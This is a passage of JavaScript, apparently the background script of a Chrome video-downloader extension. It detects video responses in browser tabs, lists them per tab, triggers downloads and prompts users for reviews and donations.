          |  | a.forEach(function (a) { | 
        
          |  | "Content-Length" == a.name && (b = parseInt(a.value)); | 
        
          |  | }), | 
        
          |  | b | 
        
          |  | ); | 
        
          |  | }), | 
        
          |  | (vd.getVideoDataFromServer = function (a, b) { | 
        
          |  | var c = new XMLHttpRequest(); | 
        
          |  | (c.onreadystatechange = function () { | 
        
          |  | 2 === c.readyState && | 
        
          |  | (b({ | 
        
          |  | mime: this.getResponseHeader("Content-Type"), | 
        
          |  | size: this.getResponseHeader("Content-Length"), | 
        
          |  | }), | 
        
          |  | c.abort()); | 
        
          |  | }), | 
        
          |  | c.open("Get", a), | 
        
          |  | c.send(); | 
        
          |  | }), | 
        
          |  | (vd.getFileName = function (a) { | 
        
          |  | var b = /[A-Za-z0-9()_ -]/, | 
        
          |  | c = ""; | 
        
          |  | return ( | 
        
          |  | (a = Array.from(a)), | 
        
          |  | a.forEach(function (a) { | 
        
          |  | b.test(a) && (c += a); | 
        
          |  | }), | 
        
          |  | c | 
        
          |  | ); | 
        
          |  | }), | 
        
          |  | (vd.isVideoLinkAlreadyAdded = function (a, b) { | 
        
          |  | var c = !1; | 
        
          |  | return ( | 
        
          |  | a.some(function (a) { | 
        
          |  | if (a.url === b) return (c = !0), !0; | 
        
          |  | }), | 
        
          |  | c | 
        
          |  | ); | 
        
          |  | }), | 
        
          |  | (vd.updateExtensionIcon = function (a) { | 
        
          |  | vd.tabsData[a] && 0 < vd.tabsData[a].videoLinks.length | 
        
          |  | ? chrome.browserAction.setIcon({ | 
        
          |  | tabId: a, | 
        
          |  | path: "../images/download_active.png", | 
        
          |  | }) | 
        
          |  | : chrome.browserAction.setIcon({ | 
        
          |  | tabId: a, | 
        
          |  | path: "../images/download_inactive.png", | 
        
          |  | }); | 
        
          |  | }), | 
        
          |  | (vd.addVideoLinkToTabFinalStep = function (a, b) { | 
        
          |  | !vd.isVideoLinkAlreadyAdded(vd.tabsData[a].videoLinks, b.url) && | 
        
          |  | 1024 < b.size && | 
        
          |  | vd.isVideoUrl(b.url) && | 
        
          |  | (vd.tabsData[a].videoLinks.push(b), vd.updateExtensionIcon(a)); | 
        
          |  | }), | 
        
          |  | (vd.addVideoLinkToTab = function (a, b, c) { | 
        
          |  | vd.tabsData[b] || (vd.tabsData[b] = vd.getNewTabObject()), | 
        
          |  | c != vd.tabsData[b].url && | 
        
          |  | ((vd.tabsData[b].videoLinks = []), (vd.tabsData[b].url = c)), | 
        
          |  | a.size | 
        
          |  | ? vd.addVideoLinkToTabFinalStep(b, a) | 
        
          |  | : vd.getVideoDataFromServer(a.url, function (c) { | 
        
          |  | (a.size = c.size), vd.addVideoLinkToTabFinalStep(b, a); | 
        
          |  | }); | 
        
          |  | }), | 
        
          |  | (vd.inspectNetworkResponseHeaders = function (a) { | 
        
          |  | var b = vd.getVideoType(a.responseHeaders); | 
        
          |  | return vd.linksToBeDownloaded[a.url] | 
        
          |  | ? (a.responseHeaders.push({ | 
        
          |  | name: "Content-Disposition", | 
        
          |  | value: | 
        
          |  | 'attachment; filename="' + | 
        
          |  | vd.linksToBeDownloaded[a.url] + | 
        
          |  | '"', | 
        
          |  | }), | 
        
          |  | { responseHeaders: a.responseHeaders }) | 
        
          |  | : void ( | 
        
          |  | b && | 
        
          |  | chrome.tabs.query( | 
        
          |  | { active: !0, currentWindow: !0 }, | 
        
          |  | function (c) { | 
        
          |  | var d = c[0], | 
        
          |  | e = d.id; | 
        
          |  | vd.addVideoLinkToTab( | 
        
          |  | { | 
        
          |  | url: a.url, | 
        
          |  | size: vd.getVideoSize(a.responseHeaders), | 
        
          |  | fileName: vd.getFileName(d.title), | 
        
          |  | extension: "." + b, | 
        
          |  | }, | 
        
          |  | e, | 
        
          |  | d.url | 
        
          |  | ); | 
        
          |  | } | 
        
          |  | ) | 
        
          |  | ); | 
        
          |  | }), | 
        
          |  | (vd.addVideoLinks = function (a, b, c) { | 
        
          |  | vd.tabsData[b] || (vd.tabsData[b] = vd.getNewTabObject()), | 
        
          |  | c != vd.tabsData[b].url && | 
        
          |  | ((vd.tabsData[b].videoLinks = []), (vd.tabsData[b].url = c)), | 
        
          |  | a.forEach(function (a) { | 
        
          |  | (a.fileName = vd.getFileName(a.fileName)), | 
        
          |  | vd.addVideoLinkToTab(a, b, c); | 
        
          |  | }); | 
        
          |  | }), | 
        
          |  | (vd.getVideoLinksForTab = function (a) { | 
        
          |  | return vd.tabsData[a] ? vd.tabsData[a] : {}; | 
        
          |  | }), | 
        
          |  | (vd.incrementDownloadCount = function () { | 
        
          |  | var a = parseInt(localStorage.getItem("total_number_of_downloads")); | 
        
          |  | (a += 1), | 
        
          |  | localStorage.setItem("total_number_of_downloads", a), | 
        
          |  | 5 == a && | 
        
          |  | confirm( | 
        
          |  | "You have downloaded multiple videos with Video Downloader professional. Please share your experience with others and make a review for us." | 
        
          |  | ) && | 
        
          |  | chrome.tabs.create( | 
        
          |  | { url: "http://videodownloader.io/reviews/", selected: !0 }, | 
        
          |  | function () {} | 
        
          |  | ), | 
        
          |  | 7 == a && | 
        
          |  | confirm( | 
        
          |  | "if you like what we do and can support our work, please make a donation so we can keep on making it even better." | 
        
          |  | ) && | 
        
          |  | chrome.tabs.create( | 
        
          |  | { | 
        
          |  | url: "http://videodownloader.io/contribute/", | 
        
          |  | selected: !0, | 
        
          |  | }, | 
        
          |  | function () {} | 
        
          |  | ); | 
        
          |  | }), | 
        
          |  | (vd.downloadVideoLink = function (a, b) { | 
        
          |  | (vd.linksToBeDownloaded[a] = b), | 
        
          |  | chrome.tabs.query({ active: !0, currentWindow: !0 }, function (b) { | 
        
          |  | chrome.tabs.update( | 
        
          |  | b[0].id, | 
        
          |  | { url: a, selected: !1 }, | 
        
          |  | function () {} | 
        
          |  | ), | 
        
          |  | vd.incrementDownloadCount(); | 
        
          |  | }); | 
        
          |  | }), | 
        
          |  | (vd.showYoutubeWarning = function () { | 
        
          |  | chrome.tabs.create( | 
        
          |  | { url: "http://videodownloader.io/#youtube", selected: !0 }, | 
        
          |  | function () {} | 
        
          |  | ); | 
        
          |  | }), | 
        
          |  | chrome.runtime.onInstalled.addListener(function (a) { | 
        
          |  | "install" == a.reason && | 
        
          |  | localStorage.setItem("total_number_of_downloads", 0); | 
        
          |  | }), | 
        
          |  | chrome.tabs.onUpdated.addListener(function (a) { | 
        
          |  | vd.updateExtensionIcon(a); | 
        
          |  | }), | 
        
          |  | chrome.tabs.onRemoved.addListener(function (a) { | 
        
          |  | vd.tabsData[a] && delete vd.tabsData[a]; | 
        
          |  | }), | 
        
          |  | chrome.webRequest.onHeadersReceived.addListener( | 
        
          |  | vd.inspectNetworkResponseHeaders, | 
        
          |  | { urls: ["<all_urls>"] }, | 
        
          |  | ["blocking", "responseHeaders"] | 
        
          |  | ), | 
        
          |  | chrome.runtime.onMessage.addListener(function (a, b, c) { | 
        
          |  | switch (a.message) { | 
        
          |  | case "add-video-links": | 
        
          |  | vd.addVideoLinks(a.videoLinks, b.tab.id, b.tab.url); | 
        
          |  | break; | 
        
          |  | case "get-video-links": | 
        
          |  | c(vd.getVideoLinksForTab(a.tabId)); | 
        
          |  | break; | 
        
          |  | case "download-video-link": | 
        
          |  | vd.downloadVideoLink(a.url, a.fileName); | 
        
          |  | break; | 
        
          |  | case "show-youtube-warning": | 
        
          |  | vd.showYoutubeWarning(); | 
        
          |  | } | 
        
          |  | }); |